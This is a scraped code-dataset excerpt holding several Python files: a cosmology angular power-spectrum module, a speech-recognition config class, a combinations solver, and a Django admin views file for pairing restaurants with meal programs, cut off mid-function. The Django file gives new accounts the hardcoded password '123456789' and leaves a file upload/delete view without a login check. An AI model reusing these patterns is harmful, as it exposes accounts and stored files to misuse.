m_nu=inputs[\"m_nu\"],\n transfer_function=self.transfer_function,\n matter_power_spectrum=self.matter_pk,\n baryons_power_spectrum=self.baryons_pk)\n\n if not self.run_boltzmann:\n # Ingest pre-calculated distances\n cosmo._set_background_from_arrays(a_array=inputs[\"a_bg\"],\n chi_array=inputs[\"distance\"],\n hoh0_array=inputs[\"E_of_z\"])\n\n # Ingest pre-calculated P(k)\n cosmo._set_linear_power_from_arrays(inputs[\"a_lin\"], \n inputs[\"k_lin\"], inputs[\"Pk_lin\"])\n cosmo._set_nonlin_power_from_arrays(inputs[\"a_nl\"], \n inputs[\"k_nl\"], inputs[\"Pk_nl\"])\n\n data_type = 'galaxy_shear_cl_ee'\n\n\n nz_info = inputs['nz']\n ia_info = inputs['ia']\n tracers = {}\n for b in self.tracer_names[data_type]:\n tracers[data_type, b] = ccl.WeakLensingTracer(\n cosmo, \n nz_info[b],\n ia_bias=ia_info[b]\n )\n\n results = {}\n results[data_type] = {}\n for bin1, bin2 in self.calculations[data_type]:\n ell = self.ell[data_type][bin1, bin2]\n T1 = tracers[data_type, bin1]\n T2 = tracers[data_type, bin2]\n cl = ccl.angular_cl(cosmo, T1, T2, ell)\n results[data_type][bin1, bin2] = cl\n\n return results\n\n def write_outputs(self, block, results):\n data_type = 'galaxy_shear_cl_ee'\n for data_type, bin_results in results.items():\n for (b1, b2), cl in bin_results.items():\n block[data_type, f'bin_{b1}_{b2}'] = cl\n block[data_type, f'ell_{b1}_{b2}'] = self.ell[data_type][b1, b2]\n\n\n\ndef execute(block: DataBlock, config: CLCalculator) -> int:\n # rename for clarity\n calculator = config\n return calculator.execute(block)\n\n# CosmoSIS setup functions can return any object.\ndef setup(options: DataBlock) -> CLCalculator:\n options = SectionOptions(options)\n return CLCalculator(options)\n\n","sub_path":"shcl_like_cosmosis/theory/cl_theory.py","file_name":"cl_theory.py","file_ext":"py","file_size_in_byte":8491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"530031360","text":"#!/usr/bin/env python\n# -*- encode: utf-8 -*-\n\n#Copyright 2015 RAPP\n\n#Licensed under the Apache License, Version 2.0 (the \"License\");\n#you may not use this file except in compliance with the License.\n#You may obtain a copy of the License at\n\n #http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing, software\n#distributed under the License is distributed on an \"AS IS\" BASIS,\n#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#See the License for the specific language governing permissions and\n#limitations under the License.\n\n# Authors: Aris Thallas\n# contact: aris.thallas@iti.gr\n\nfrom global_parameters import GlobalParams\n\n## @class SphinxConfigurationParams\n# @brief Contains the parameters required for the Sphinx configuration\nclass SphinxConfigurationParams(GlobalParams):\n\n ## @brief Initializes an empty configuration (constructor)\n def __init__(self):\n GlobalParams.__init__(self)\n\n ## The language of the request\n self._language = 'el'\n ## The words to be identified\n self._words = []\n ## Sphinx grammar attribute\n self._grammar = []\n ## Sphinx sentence attribute\n self._sentences = []\n\n\n ## @brief Checks if a SphinxConfigurationParams instance equals self\n #\n # @param params [SphinxConfigurationParams] The class instance\n # @param status [bool] True if configurations match\n def equals(self, params):\n if ( self._language == params.language and \\\n self._words == params.words and \\\n self._grammar == params.grammar and \\\n self._sentences == params.sentences\n ) :\n return True\n else:\n return False\n","sub_path":"rapp_speech_detection_sphinx4/src/rapp_speech_detection_sphinx4/sphinx4_configuration_params.py","file_name":"sphinx4_configuration_params.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"528944523","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 2020/7/25 22:24\n# @Author : weiyu\n# @File : 77_combinations.py\n\n# 递归 加 剪枝\nclass Solution:\n def combine(self, n, k):\n res = []\n nums = range(1, n + 1)\n self.recursion(nums, k, 0, [], res)\n return res\n\n def recursion(self, nums, k, index, s, res):\n if k == 0:\n res.append(s)\n if k > len(nums) - index + 1:\n return\n for i in range(index, len(nums)):\n self.recursion(nums, k - 1, i + 1, s + [nums[i]], res)\n","sub_path":"Week_02/77_combinations.py","file_name":"77_combinations.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"495465819","text":"from django.contrib import messages\nimport datetime\nfrom django.contrib.auth.mixins import(\n LoginRequiredMixin,\n PermissionRequiredMixin\n)\nimport datetime\nfrom django.core.urlresolvers import reverse\nfrom django.db import IntegrityError\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom django.views import generic\nfrom applications.models import Request, ApplicationReview, MealHistory\nfrom applications.models import Pairings, PairingsManager\nfrom profiles.models import Restaurant, Program, Schedule, BasicUser\nfrom documents.models import Document\nfrom applications.models import RequestReview, Notification\nfrom documents.models import Note, NoteManager, DocumentManager\nfrom . import models\nfrom braces.views import SelectRelatedMixin\nfrom profiles.models import UserClass\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.hashers import check_password\nfrom django.contrib.auth import update_session_auth_hash, authenticate, login, logout\nimport os\nfrom django.core.files.storage import FileSystemStorage\nfrom homepage.settings import GOOGLE_API_KEY\nfrom homepage import email_vendor\nfrom django.db.models import Sum\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nTEMPLATE_DIR = os.path.join(BASE_DIR,'static')\nIMAGES_DIR = os.path.join(TEMPLATE_DIR, 'images')\nRESOURCE_DIR = os.path.join(TEMPLATE_DIR, 'resources')\nICON_DIR = os.path.join(IMAGES_DIR, 'icon')\nPROFILE_IMG_DIR = os.path.join(ICON_DIR, 'profile_image')\n\nSIZE_UNIT_LIST = ['B', 'KB', 'MB', 'GB']\n\n\ndef get_today_schedule_entries(weekday, all_pairing):\n \"\"\"Return schedule entries that correspond to the given weekday and all pairings\"\"\"\n satisfying_pairing = []\n\n for pair in all_pairing:\n schedule_object = pair.schedule_id\n whole_week_delivery = [schedule_object.monday_start, schedule_object.tuesday_start,\n schedule_object.wednesday_start,\n schedule_object.thursday_start, schedule_object.friday_start,\n schedule_object.saturday_start,\n schedule_object.sunday_start]\n\n if whole_week_delivery[weekday] is not None:\n if weekday == 0:\n time_string = schedule_object.monday_start.strftime(\"%-I:%M %p\")\n if weekday == 1:\n time_string = schedule_object.tuesday_start.strftime(\"%-I:%M %p\")\n if weekday == 2:\n time_string = schedule_object.wednesday_start.strftime(\"%-I:%M %p\")\n if weekday == 3:\n time_string = schedule_object.thursday_start.strftime(\"%-I:%M %p\")\n if weekday == 4:\n time_string = schedule_object.friday_start.strftime(\"%-I:%M %p\")\n if weekday == 5:\n time_string = schedule_object.saturday_start.strftime(\"%-I:%M %p\")\n if weekday == 6:\n time_string = schedule_object.sunday_start.strftime(\"%-I:%M %p\")\n\n satisfying_pairing.append((pair.restaurant_id.company_name, pair.program_id.program_name,\n time_string, pair.restaurant_id.main_contact.first_name,\n pair.restaurant_id.main_contact.last_name, pair.meals,\n pair.restaurant_id.id, pair.program_id.id, pair.restaurant_id, pair.program_id))\n return satisfying_pairing\n\n\n@login_required(login_url='/admin/login')\ndef admin_homepage(request):\n \"\"\"Return response that corresponds to the admin homepage\"\"\"\n current_user = request.user\n\n if current_user.user_type == 'ADM':\n current_user_id = current_user.id\n weekday = datetime.datetime.now().weekday()\n all_pairing = Pairings.objects.all()\n big_dict = {}\n\n satisfying_pairing = get_today_schedule_entries(weekday, all_pairing)\n big_dict[\"daily_schedule\"] = satisfying_pairing\n\n # Dashboard stats\n big_dict[\"restaurant_count\"] = Restaurant.objects.all().count()\n big_dict[\"program_count\"] = Program.objects.all().count()\n big_dict[\"application_count\"] = ApplicationReview.objects.filter(status=\"P\").count()\n\n today = datetime.datetime.today()\n big_dict['todays_date'] = today.strftime('%b %-d')\n\n # Get lifetime meals\n start_date = datetime.datetime(year=today.year, month=today.month, day=today.day, hour=0, minute=0, second=0) # represents 00:00:00\n end_date = datetime.datetime(year=today.year, month=today.month, day=today.day, hour=23, minute=59, second=59) # represents 23:59:59\n todays_count = MealHistory.objects.filter(created_at__range=(start_date, end_date))\n\n # Check if new pairs need to be added for today\n for pair in satisfying_pairing:\n to_be_added = True\n for pair_counted in todays_count:\n if pair_counted.restaurant_id and pair_counted.program_id and pair[6] == pair_counted.restaurant_id.id and pair[7] == pair_counted.program_id.id:\n to_be_added = False\n if to_be_added:\n MealHistory.objects.create(restaurant_id=pair[8], program_id=pair[9], meals=pair[5])\n\n big_dict[\"meal_count\"] = MealHistory.objects.aggregate(Sum('meals'))['meals__sum']\n if not big_dict[\"meal_count\"]:\n big_dict[\"meal_count\"] = 0\n\n return render(request, 'homepage/admin-homepage.html', context=big_dict)\n\n elif current_user.user_type == 'BSC':\n return redirect('/')\n\n\n@login_required(login_url='/admin/login')\ndef meal_history(request):\n\n if request.user.user_type == 'BSC':\n return redirect(\"/\")\n\n meals_paired = MealHistory.objects.all()\n\n return render(request, 'admin/meal-history.html', context={\"meals_paired\": meals_paired})\n\n\n@login_required(login_url='/admin/login')\ndef meal_history_update(request):\n\n if request.user.user_type == 'BSC':\n return redirect(\"/\")\n\n if request.method == \"POST\":\n history_id = request.POST.get('history_id')\n meal_history = MealHistory.objects.get(id=history_id)\n\n if meal_history:\n meal_history.meals = request.POST.get('meals_count')\n\n meal_history.save()\n\n\n return redirect(\"/admin/mealhistory\")\n\n\ndef admin_login(request):\n \"\"\"Login user based on provided credentials\"\"\"\n # if request type is POST\n if request.method == 'POST':\n # get credentials\n email = request.POST.get('email')\n password = request.POST.get('password')\n user = authenticate(email=email, password=password)\n # check if user was retrieved from the database\n if user:\n # if user is active\n if user.is_active:\n # do login\n login(request, user)\n # return response for index page\n return redirect('/')\n else:\n # return response that account is inactive\n return HttpResponse(\"Account is inactive\")\n else:\n print(\"login failed\")\n return redirect(\"/admin/login\")\n else:\n # redirect user to login page\n return render(request, 'profiles/admin_login.html', {})\n\n\n@login_required(login_url='/admin/login')\ndef view_user_profile(request, id):\n \"\"\"Return response that corresponds to profile of the user with given id\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n try:\n view_user = UserClass.objects.get(id=id)\n except UserClass.DoesNotExist:\n return redirect(request.META.get('HTTP_REFERER', '/'))\n\n # If viewing themselves, direct to settings\n if request.user.id == view_user.id:\n return redirect(\"/admin/settings\")\n\n return render(request, \"profiles/profile.html\", {'view_user': view_user})\n\n\n@login_required(login_url='/admin/login')\ndef edit_user_profile(request, id):\n \"\"\"Edit profile of the user with given id.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n if request.method == \"POST\":\n try:\n view_user = UserClass.objects.get(id=id)\n except UserClass.DoesNotExist:\n return redirect(request.META.get('HTTP_REFERER', '/'))\n\n view_user.email = request.POST.get('email')\n view_user.first_name = request.POST.get('first_name')\n view_user.last_name = request.POST.get('last_name')\n view_user.phone_number = request.POST.get('phone_number')\n view_user.active = request.POST.get('is_active')\n\n try:\n view_user.save()\n except IntegrityError:\n pass\n\n return redirect('/admin/user/' + str(view_user.id))\n\n else:\n return redirect(request.META.get('HTTP_REFERER', '/'))\n\n\n@login_required(login_url='/admin/login')\ndef admin_settings(request):\n \"\"\"Implements handling of post and get requests for the admin settings page\"\"\"\n current_user = request.user\n\n big_dict = {}\n\n if current_user.user_type == \"ADM\":\n admin_list = UserClass.objects.filter(user_type = 'ADM')\n big_dict[\"admins\"] = admin_list\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n if request.method == 'POST' and request.FILES['profile_image']:\n myfile = request.FILES['profile_image']\n fs = FileSystemStorage()\n fs.location = PROFILE_IMG_DIR\n filename = fs.save(myfile.name, myfile)\n current_user.image = filename\n current_user.save()\n\n big_dict[\"user\"] = current_user\n big_dict[\"image_path\"] = os.path.join('images/icon/profile_image/', filename)\n\n return render(request, 'profiles/admin_settings.html', context=big_dict)\n else:\n big_dict[\"image_path\"] = os.path.join('images/icon/profile_image/', current_user.image)\n big_dict[\"user\"] = current_user\n return render(request, 'profiles/admin_settings.html', context=big_dict)\n\n\n@login_required(login_url='/login')\ndef settings_update_name(request, id):\n \"\"\"Update name in settings\"\"\"\n if request.method == \"POST\":\n new_first_name = request.POST.get(\"newFirstName\")\n new_last_name = request.POST.get(\"newLastName\")\n request.user.first_name = new_first_name\n request.user.last_name = new_last_name\n request.user.save()\n if request.user.user_type == 'ADM':\n return redirect('/admin/settings')\n return redirect('/settings')\n\n\n@login_required(login_url='/login')\ndef settings_update_email (request, id):\n \"\"\"Update email in settings\"\"\"\n if request.method == \"POST\":\n new_email = request.POST.get(\"newEmail\")\n request.user.email = new_email\n request.user.save()\n\n if request.user.user_type == 'ADM':\n return redirect('/admin/settings')\n return redirect('/settings')\n\n\n@login_required(login_url='/login')\ndef settings_update_password (request, id):\n \"\"\"Update password in settings\"\"\"\n if request.method == \"POST\":\n old_password = request.POST.get(\"currentPass\")\n current_password = request.user.password\n\n matchcheck = check_password(old_password, current_password)\n\n if matchcheck:\n new_password = request.POST.get(\"newPass\")\n confirm_new_password = request.POST.get(\"confirmNewPass\")\n request.user.set_password(new_password)\n update_session_auth_hash(request, request.user)\n request.user.save()\n if request.user.user_type == 'ADM':\n return redirect('/admin/settings')\n return redirect('/settings')\n\n\n@login_required(login_url='/login')\ndef settings_add_admins(request, id):\n \"\"\"Implements feature that allows to add more admins in settings\"\"\"\n if request.method == \"POST\":\n email = request.POST.get(\"new_admin_email\")\n last_name = request.POST.get(\"new_admin_last_name\")\n first_name = request.POST.get(\"new_admin_first_name\")\n phone_number = request.POST.get(\"new_admin_phone\")\n role = request.POST.get(\"admin_role\")\n hashed_password = '123456789'\n\n if role == 'SUPER':\n admin_user = UserClass.objects.create_superuser(email=email,\n last_name=last_name,\n first_name=first_name,\n phone_number=phone_number,\n password=hashed_password)\n else:\n admin_user = UserClass.objects.create_staffuser(email=email,\n last_name=last_name,\n first_name=first_name,\n phone_number=phone_number, role=role,\n password=hashed_password)\n admin_user.save()\n\n if request.user.user_type == 'ADM':\n return redirect('/admin/settings')\n return redirect('/settings')\n\n\n@login_required(login_url='/admin/login')\ndef applications(request):\n \"\"\"Implements view that displays applications received by admins\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n application_review_list_programs = ApplicationReview.objects.filter(type='PR').filter(status='P')\n application_review_list_restaurants = ApplicationReview.objects.filter(type='RE').filter(status='P')\n review_application_dict = {'program_app': application_review_list_programs,\n 'restaurant_app': application_review_list_restaurants}\n\n return render(request, 'admin/applications.html', context=review_application_dict)\n\n\n@login_required(login_url='/admin/login')\ndef requests(request):\n \"\"\"Implements view that displays requests received by admins\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n request_reviews = RequestReview.objects.all().filter(status='P')\n\n return render(request, 'admin/requests.html', context={'request_reviews': request_reviews})\n\n\n@login_required(login_url='/admin/login')\ndef programs(request):\n \"\"\"Implements view that displays list of programs in the admin portal.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n programs = Program.objects.order_by('program_name')\n approved_programs = []\n for program in programs:\n if not program.review:\n approved_programs.append(program)\n\n if request.method == \"POST\":\n email = request.POST.get(\"contact_email\")\n last_name = request.POST.get(\"contact_last_name\")\n first_name = request.POST.get(\"contact_first_name\")\n phone_number = request.POST.get(\"contact_phone\")\n type = 'PR'\n hashed_password = '123456789'\n\n if (UserClass.objects.filter(email = email)):\n basic_user = UserClass.objects.filter(email = email)[0]\n else:\n basic_user = UserClass.objects.create_basic_user(email=email, last_name=last_name,\\\n first_name=first_name,\\\n phone_number=phone_number,\\\n type=type, password=hashed_password)\n\n created_at = datetime.datetime.now()\n program_name = request.POST.get(\"new_program_name\")\n main_contact = basic_user\n phone_number = request.POST.get(\"new_program_phone\")\n schedule = request.POST.getlist('new_program_schedule')\n start_time = request.POST.get('new_rest_start_time')\n meals = request.POST.get(\"new_program_meals\")\n address = request.POST.get(\"new_program_address\")\n coordinates = request.POST.get(\"new_program_address\")\n latitude = request.POST.get('lat')\n longitude = request.POST.get('lng')\n\n # Create schedule model\n monday_start = tuesday_start = wednesday_start = None\n thursday_start = friday_start = saturday_start = sunday_start = None\n\n for day in schedule:\n if day =='MO':\n monday_start = start_time\n elif day =='TU':\n tuesday_start = start_time\n elif day =='WE':\n wednesday_start = start_time\n elif day =='TH':\n thursday_start = start_time\n elif day =='FR':\n friday_start = start_time\n elif day =='SA':\n saturday_start = start_time\n elif day =='SU':\n sunday_start = start_time\n\n schedule_model = Schedule.objects.get_or_create(monday_start=monday_start,\\\n tuesday_start=tuesday_start,\\\n wednesday_start=wednesday_start,\\\n thursday_start=thursday_start,\\\n friday_start=friday_start,\\\n saturday_start=saturday_start,\\\n sunday_start=sunday_start)[0]\n schedule_model.save()\n\n\n program = Program.objects.get_or_create(created_at=created_at, program_name=program_name,\\\n main_contact=main_contact,\\\n phone_number=phone_number,\\\n schedule=schedule_model,\\\n meals=meals,\\\n address=address,\\\n coordinates=coordinates,\\\n latitude=latitude,\\\n longitude=longitude)[0]\n\n program.save()\n\n basic_user.user_object.program = program\n\n basic_user.user_object.save()\n\n return render(request, 'admin/programs.html', context={'programs': approved_programs})\n\n\n@login_required(login_url='/admin/login')\ndef restaurants(request):\n \"\"\"Implements view that displays list of restaurants in the admin portal.\"\"\"\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n restaurants = Restaurant.objects.order_by('company_name')\n\n approved_restaurants = []\n for restaurant in restaurants:\n if not restaurant.review:\n approved_restaurants.append(restaurant)\n\n if request.method == \"POST\":\n email = request.POST.get(\"contact_email\")\n last_name = request.POST.get(\"contact_last_name\")\n first_name = request.POST.get(\"contact_first_name\")\n phone_number = request.POST.get(\"contact_phone\")\n type = 'RE'\n hashed_password = '123456789'\n\n if (UserClass.objects.filter(email = email)):\n basic_user = UserClass.objects.filter(email = email)[0]\n else:\n basic_user = UserClass.objects.create_basic_user(email=email, last_name=last_name,\\\n first_name=first_name,\\\n phone_number=phone_number,\\\n type=type, password=hashed_password)\n\n created_at = datetime.datetime.now()\n company_name = request.POST.get(\"new_rest_name\")\n main_contact = basic_user\n phone_number = request.POST.get(\"new_rest_phone\")\n schedule = request.POST.getlist('new_rest_schedule')\n start_time = request.POST.get('new_rest_start_time')\n meals = request.POST.get(\"new_rest_meals\")\n uber_eats = request.POST.get(\"new_rest_uber\")\n health_certificate = request.POST.get(\"new_rest_health_safety\")\n address = request.POST.get(\"new_rest_address\")\n coordinates = request.POST.get(\"new_rest_address\")\n latitude = request.POST.get('lat')\n longitude = request.POST.get('lng')\n\n # Create schedule model\n monday_start = tuesday_start = wednesday_start = None\n thursday_start = friday_start = saturday_start = sunday_start = None\n\n for day in schedule:\n if day =='MO':\n monday_start = start_time\n elif day =='TU':\n tuesday_start = start_time\n elif day =='WE':\n wednesday_start = start_time\n elif day =='TH':\n thursday_start = start_time\n elif day =='FR':\n friday_start = start_time\n elif day =='SA':\n saturday_start = start_time\n elif day =='SU':\n sunday_start = start_time\n schedule_model = Schedule.objects.get_or_create(monday_start=monday_start,\\\n tuesday_start=tuesday_start,\\\n wednesday_start=wednesday_start,\\\n thursday_start=thursday_start,\\\n friday_start=friday_start,\\\n saturday_start=saturday_start,\\\n sunday_start=sunday_start)[0]\n schedule_model.save()\n\n\n restaurant = Restaurant.objects.get_or_create(created_at=created_at,\\\n company_name=company_name,\\\n main_contact=main_contact,\\\n phone_number=phone_number,\\\n schedule=schedule_model,\\\n meals=meals,\\\n uber_eats=uber_eats,\\\n health_certificate=health_certificate,\\\n address=address,\\\n longitude=longitude, \\\n latitude = latitude)[0]\n\n restaurant.save()\n\n basic_user.user_object.restaurant = restaurant\n\n basic_user.user_object.save()\n\n return render(request, 'admin/restaurants-page.html', context={'restaurants': approved_restaurants})\n\n@login_required(login_url='/admin/login')\ndef application_review(request, id):\n \"\"\"Review application from restaurant/partner\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n needed_application = ApplicationReview.objects.get(id=id)\n if needed_application.status == 'P' or needed_application.status == 'R':\n return render(request, 'admin/application-review.html', {\"id\": id, \"application\": needed_application})\n\n return redirect(\"/admin/applications\")\n\n\ndef resources(request):\n \"\"\"Implements view that displays resources in the admin portal\"\"\"\n current_user = request.user\n uploadedDoc = None\n deletedDoc = None\n try:\n uploadedDoc = request.FILES['uploadedDocuments']\n except Exception:\n pass\n\n try:\n deletedDoc = request.POST.get('deleted_item')\n except Exception:\n pass\n\n if request.method == 'POST' and uploadedDoc and (\n request.POST.get('program') or request.POST.get('restaurant')):\n\n uploaded_doc = request.FILES['uploadedDocuments']\n uploaded_doc_name = uploaded_doc.name\n uploaded_doc_raw_size = uploaded_doc.size\n size_unit = 'B'\n size_temp = uploaded_doc_raw_size\n while size_temp // 1024 >= 1:\n size_unit = SIZE_UNIT_LIST[SIZE_UNIT_LIST.index(size_unit) + 1]\n size_temp = size_temp // 1024\n uploaded_doc_size = str(size_temp) + size_unit\n\n\n owner_type = None\n if request.POST.get('program'):\n owner_type = request.POST.get('program')\n if request.POST.get('restaurant'):\n owner_type = request.POST.get('restaurant')\n if request.POST.get('program') and request.POST.get('restaurant'):\n owner_type = 'BOTH'\n\n fs = FileSystemStorage()\n fs.location = RESOURCE_DIR\n # this will not raise error\n fs.delete(uploaded_doc_name)\n fs.save(uploaded_doc_name, uploaded_doc)\n # we must delete from database as well\n Document.objects.filter(name=uploaded_doc_name).delete()\n\n document_manager = DocumentManager()\n document_manager.create_document(uploaded_doc_name, owner_type, uploaded_doc_size)\n\n all_docs = Document.objects.all()\n big_dict = {}\n document_lst = []\n for doc in all_docs:\n name = doc.name\n created_at = doc.created_at.strftime(\"%m/%d/%Y\")\n size = doc.size\n document_lst.append([name, size, created_at])\n big_dict[\"documents\"] = document_lst\n return render (request,'admin/resources.html', context=big_dict)\n\n elif request.method == 'POST' and deletedDoc:\n item_tobe_deleted = request.POST.get('deleted_item')\n\n Document.objects.filter(name=item_tobe_deleted).delete()\n\n all_docs = Document.objects.all()\n big_dict = {}\n document_lst = []\n for doc in all_docs:\n name = doc.name\n created_at = doc.created_at.strftime(\"%m/%d/%Y\")\n size = doc.size\n document_lst.append([name, size, created_at])\n big_dict[\"documents\"] = document_lst\n return render (request,'admin/resources.html', context=big_dict)\n\n else:\n all_docs = Document.objects.all()\n big_dict = {}\n document_lst = []\n for doc in all_docs:\n name = doc.name\n created_at = doc.created_at.strftime(\"%m/%d/%Y\")\n size = doc.size\n document_lst.append([name, size, created_at])\n big_dict[\"documents\"] = document_lst\n return render (request,'admin/resources.html', context=big_dict)\n\n\n\ndef time_format_converter(time_str):\n \"\"\"Accepts 12-hour format time string and converts it into 24-hour strings\"\"\"\n\n if time_str[-2:] == \"AM\" or time_str[-2:] == \"PM\":\n if time_str[1] == \":\":\n time_str = \"0\" + time_str\n\n if time_str[0:2] == \"12\" and time_str[-2:] == \"AM\":\n return \"00:00\"\n elif time_str[0:2] == \"12\" and time_str[-2:] == \"PM\":\n return \"12:00\"\n else:\n if time_str[-2:] == \"PM\":\n return str(int(time_str[0:2]) + 12) + \":00\"\n elif time_str[-2:] == \"AM\":\n return time_str[0:2] + \":00\"\n\n else:\n\n if time_str[1] == \":\":\n time_str = \"0\" + time_str\n\n if time_str[0:2] == \"12\" and time_str[-4:] == \"a.m.\":\n return \"00:00\"\n elif time_str[0:2] == \"12\" and time_str[-4:] == \"p.m.\":\n return \"12:00\"\n else:\n if time_str[-4:] == \"p.m.\":\n return str(int(time_str[0:2]) + 12) + \":00\"\n elif time_str[-4:] == \"a.m.\":\n return time_str[0:2] + \":00\"\n\n\ndef string_to_object_time_converter(time_str):\n \"\"\"Converts 24-hour time string into a datetime object.\"\"\"\n time_str = time_format_converter(time_str)\n\n time = datetime.time(int(time_str[0:2]), 00, 00)\n return time\n\n\ndef update_organization_schedule(organization, schedule, start_time):\n \"\"\"Update organization schedule based on given schedule and start time\"\"\"\n\n seen = {'SU': 0, 'MO': 0, 'TU': 0, 'WE': 0, 'TH': 0, 'FR': 0, 'SA': 0}\n for day in schedule:\n if day == 'MO':\n organization.schedule.monday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'TU':\n organization.schedule.tuesday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'WE':\n organization.schedule.wednesday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'TH':\n organization.schedule.thursday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'FR':\n organization.schedule.friday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'SA':\n organization.schedule.saturday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n elif day == 'SU':\n organization.schedule.sunday_start = string_to_object_time_converter(start_time)\n seen[day] += 1\n\n count = 0\n for item in seen.items():\n if item[1] == 0:\n if count == 0:\n organization.schedule.sunday_start = None\n if count == 1:\n organization.schedule.monday_start = None\n if count == 2:\n organization.schedule.tuesday_start = None\n if count == 3:\n organization.schedule.wednesday_start = None\n if count == 4:\n organization.schedule.thursday_start = None\n if count == 5:\n organization.schedule.friday_start = None\n if count == 6:\n organization.schedule.saturday_start = None\n count += 1\n\n organization.schedule.save()\n\n\n@login_required(login_url='/admin/login')\ndef accept(request, id):\n \"\"\"Accept application from restaurant/partner\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n if request.method == \"POST\":\n\n needed_application = ApplicationReview.objects.get(id=id)\n needed_application.admin_by_id = request.user\n needed_application.status = \"A\"\n\n if needed_application.model_id.user_object.type == 'RE':\n\n schedule_available = request.POST.get('schedule_available')\n\n if schedule_available == 'True':\n needed_application.model_id.user_object.restaurant.schedule.monday_start = '15:00'\n needed_application.model_id.user_object.restaurant.schedule.tuesday_start = '15:00'\n needed_application.model_id.user_object.restaurant.schedule.wednesday_start = '15:00'\n needed_application.model_id.user_object.restaurant.schedule.thursday_start = '15:00'\n needed_application.model_id.user_object.restaurant.schedule.friday_start = '15:00'\n\n else:\n needed_application.model_id.user_object.restaurant.schedule.monday_start = None\n needed_application.model_id.user_object.restaurant.schedule.tuesday_start = None\n needed_application.model_id.user_object.restaurant.schedule.wednesday_start = None\n needed_application.model_id.user_object.restaurant.schedule.thursday_start = None\n needed_application.model_id.user_object.restaurant.schedule.friday_start = None\n\n needed_application.model_id.user_object.restaurant.schedule.save()\n\n restaurant_name_input = request.POST.get(\"restaurant_name_input\", None)\n restaurant_address_input = request.POST.get(\"address\", None)\n restaurant_health_input = request.POST.get(\"restaurant_health_input\", None)\n restaurant_meals_input = request.POST.get(\"restaurant_meals_input\", None)\n delivery_capacity = request.POST.get(\"delivery_capacity\", None)\n uber_eats = request.POST.get(\"uber_eats\", None)\n packaging = request.POST.get(\"packaging\", None)\n\n needed_application.model_id.user_object.restaurant.latitude = request.POST.get(\"lat\", None)\n needed_application.model_id.user_object.restaurant.longitude = request.POST.get(\"lng\", None)\n\n if restaurant_name_input:\n needed_application.model_id.user_object.restaurant.company_name = restaurant_name_input\n\n if restaurant_address_input:\n needed_application.model_id.user_object.restaurant.address = restaurant_address_input\n\n if restaurant_health_input:\n needed_application.model_id.user_object.restaurant.health_certificate = restaurant_health_input\n\n if restaurant_meals_input:\n needed_application.model_id.user_object.restaurant.meals = restaurant_meals_input\n\n if delivery_capacity:\n needed_application.model_id.user_object.restaurant.delivery_capacity = delivery_capacity\n\n if uber_eats:\n needed_application.model_id.user_object.restaurant.uber_eats = uber_eats\n\n if packaging:\n needed_application.model_id.user_object.restaurant.packaging = packaging\n\n needed_application.model_id.user_object.restaurant.review = None\n needed_application.model_id.user_object.restaurant.save()\n\n elif needed_application.model_id.user_object.type == 'PR':\n\n program_schedule = request.POST.getlist('program_schedule')\n program_start_time = request.POST.get('program_starttime')\n\n needed_application.model_id.user_object.program.latitude = request.POST.get(\"lat\", None)\n needed_application.model_id.user_object.program.longitude = request.POST.get(\"lng\", None)\n\n update_organization_schedule(needed_application.model_id.user_object.program, program_schedule,\n program_start_time)\n\n program_phone_number_input = request.POST.get(\"program_phone_number_input\", None)\n program_name_input = request.POST.get(\"program_name_input\", None)\n program_meals_input = request.POST.get(\"program_meals_input\", None)\n program_address_input = request.POST.get(\"address\", None)\n\n if program_phone_number_input:\n needed_application.model_id.user_object.program.phone_number = program_phone_number_input\n\n if program_name_input:\n needed_application.model_id.user_object.program.program_name = program_name_input\n\n if program_meals_input:\n needed_application.model_id.user_object.program.meals = program_meals_input\n\n if program_address_input:\n needed_application.model_id.user_object.program.address = program_address_input\n\n needed_application.model_id.user_object.program.review = None\n needed_application.model_id.user_object.program.save()\n\n needed_application.save()\n\n return redirect('/admin/applications')\n\n\n\n@login_required(login_url='/admin/login')\ndef deny(request, id):\n \"\"\"Deny application from restaurant/partner\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n if request.method == \"POST\":\n comment = request.POST.get(\"comment\", \"\")\n\n needed_application = ApplicationReview.objects.get(id=id)\n needed_application.status = \"R\"\n needed_application.comments = comment\n needed_application.admin_by_id = request.user\n needed_application.save()\n\n return redirect('/admin/applications')\n\n\n@login_required(login_url='/admin/login')\ndef review_request(request, id):\n \"\"\"Review request from restaurant/partner\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n needed_request = RequestReview.objects.get(id=id)\n return render(request, 'admin/request-review.html', {\"id\": id, \"request_review\": needed_request})\n\n\n@login_required(login_url='/admin/login')\ndef accept_request(request, id):\n \"\"\"Accept request from restaurant/partner.\"\"\"\n\n if request.user.user_type == 'BSC':\n return redirect('/')\n\n needed_request = 